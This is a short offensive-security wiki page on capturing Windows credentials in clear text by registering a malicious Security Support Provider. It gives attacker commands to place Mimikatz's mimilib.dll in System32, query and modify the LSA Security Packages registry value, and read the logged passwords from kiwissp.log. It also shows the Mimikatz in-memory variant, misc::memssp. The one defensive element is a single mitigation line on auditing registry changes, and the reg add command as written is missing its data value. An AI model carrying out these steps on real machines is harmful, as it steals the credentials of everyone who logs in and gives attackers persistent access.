# Custom SSP
## Custom SSP
[Learn what is a SSP (Security Support Provider) here.](../authentication-credentials-uac-and-efs.md#security-support-provider-interface-sspi)\

You can create you **own SSP** to **capture** in **clear text** the **credentials** used to access the machine.
#### Mimilib
You can use the `mimilib.dll` binary provided by Mimikatz. **This will log inside a file all the credentials in clear text.**\

Drop the dll in `C:\Windows\System32\`\
Get a list existing LSA Security Packages:
{% code title="attacker@target" %}
```bash
PS C:\> reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa
Security Packages REG_MULTI_SZ kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u
```
{% endcode %}
Add `mimilib.dll` to the Security Support Provider list (Security Packages):
```csharp
PS C:\> reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages"
```
And after a reboot all credentials can be found in clear text in `C:\Windows\System32\kiwissp.log`
#### In memory
You can also inject this in memory directly using Mimikatz (notice that it could be a little bit unstable/not working):
```csharp
privilege::debug
misc::memssp
```
This won't survive reboots.
### Mitigation
Event ID 4657 - Audit creation/change of `HKLM:\System\CurrentControlSet\Control\Lsa\SecurityPackages`
